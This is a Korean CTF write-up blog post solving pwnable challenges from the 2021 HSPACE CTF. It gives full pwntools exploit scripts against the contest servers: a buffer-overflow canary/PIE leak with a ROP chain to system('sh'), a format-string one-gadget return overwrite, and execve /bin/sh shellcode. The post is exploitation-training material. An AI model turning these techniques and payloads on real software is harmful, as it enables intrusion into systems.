CTF/Write UPs

[2021 HSPACE CTF : Pwnable] ALL Clear! writeups (04.26 23:59 이후 공개)

jir4vvit 2021. 4. 27. 00:00
문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro
대회 정보 : - 

 

Seoul Housing

보호 기법

BOF가 2번, system함수 plt 존재, 'sh' 문자열 존재

Summary

  1. 첫번째 BOF에서 canary leak, pie leak 
  2. 두번째 BOF에서 system('sh') 실행

pie base 구하는 과정

더보기
더보기

카나리 뒤에 pie 주소가 붙어 있는 것을 확인할 수 있다.

pie base와의 offset을 구해서 leak한 주소에 -0xa10을 빼면 pie base를 구할 수 있다.

from pwn import *

#p = process('./chall')
p = remote('183.109.94.101', 9100)
e = ELF('./chall')
#libc = e.libc

payload = ''
payload += 'A' * (0x110-0x8)
payload += 'B' * 1
#print hex(len(payload))

#pause()
p.sendafter('> ', payload)

p.readuntil('B')
leak = p.read(15)
print hexdump(leak)

canary = '\x00' + leak[:7]
canary = u64(canary)
log.info('canary = '+ hex(canary))

pie_addr = leak[7:13] + '\x00\x00'
pie_addr = u64(pie_addr)
log.info('pie_addr = ' + hex(pie_addr))

pie_base = pie_addr - 0xa10
log.info('pie_base = '+ hex(pie_base))

system = pie_base + e.plt['system']
sh = pie_base + 0xa99
pop_rdi = pie_base + 0xa73
ret = pie_base + 0x6fe

# exploit
payload = ''
payload += 'A' * (0x110-0x8)
payload += p64(canary)
payload += 'B' * 8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(sh)
payload += p64(system)

pause()
p.sendafter('> ', payload)


p.interactive()

p.readuntil('B')을 이용하여 canary 및 pie를 leak할 수 있다.

u64()할 때, 8바이트로 넣어주어야 한다. 

Financial Stability Forum

보호 기법

64bit, FSB 문제

Summary

  1. stack 주소, libc 주소 leak
  2. main의 ret를 one gadget으로 변조

풀렐로라서 rtld에 덮으려고 했는데, 안되길래 stack 주소 leak해서 main ret에 덮었음

from pwn import *

#p = process('./chall')
p = remote('183.109.94.101', 9101)
e = ELF('./chall')
libc = e.libc

rtld_offset = 0x61bf60
one_gadget_offset = 0x10a41c
#one_gadget_offset = 0x4f3d5
#one_gadget_offset =0x4f432


# offset 8
payload = ''
payload += 'leak:%6$p'
payload += 'libc:%3$p'

#pause()
p.sendafter('> ', payload)

p.recvuntil('leak:')
leak = int(p.recv(14), 16)
log.info('leak = '+hex(leak))

p.recvuntil('libc:')
libc = int(p.recv(14), 16)
log.info('libc = '+hex(libc))

libc_base = libc - 0x110151
log.info('libc_base = '+ hex(libc_base))

ret = leak - 0xe0
log.info('ret = '+hex(ret))

rtld = libc_base + rtld_offset
log.info('rtld = '+hex(rtld))

# overwrite
# rltd -> one_gadget
one_gadget = libc_base + one_gadget_offset

low = one_gadget &0xffff
middle = (one_gadget >>16) & 0xffff
high = (one_gadget >> 32) & 0xffff

l = low

if middle > low:
    m = middle - low
else:
    m = 0x10000 + middle - low

if high > middle:
    h = high - middle
else:
    h = 0x10000 + high - middle

# offset 8
payload = ''
payload += '%{}c'.format(l)
payload += '%13$hn'
payload += '%{}c'.format(m)
payload += '%14$hn'
payload += '%{}c'.format(h)
payload += '%15$hn'
print len(payload)
payload += 'A' * (8 - len(payload)%8)
payload += p64(ret)
payload += p64(ret +2)
payload += p64(ret+4)

pause()
print len(payload)
p.sendafter('> ', payload)

p.interactive()

No sc

보호 기법
main

input으로 값 넣은거 바로 실행시켜줌 -> shellcode~

from pwn import *

#p = process('./chall')
p = remote('183.109.94.101', 9102)
e = ELF('./chall')

payload = ''
#payload += 'AAAAAAAA'
payload += "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
pause()
p.send(payload)

p.interactive()

Gambling 1

정수 가지고 장난칠 때 넣어봐야 할 것 : 음수, int 최대 최소 범위

Gambling 2

정수 가지고 장난칠 때 넣어봐야 할 것 : 음수, int 최대 최소 범위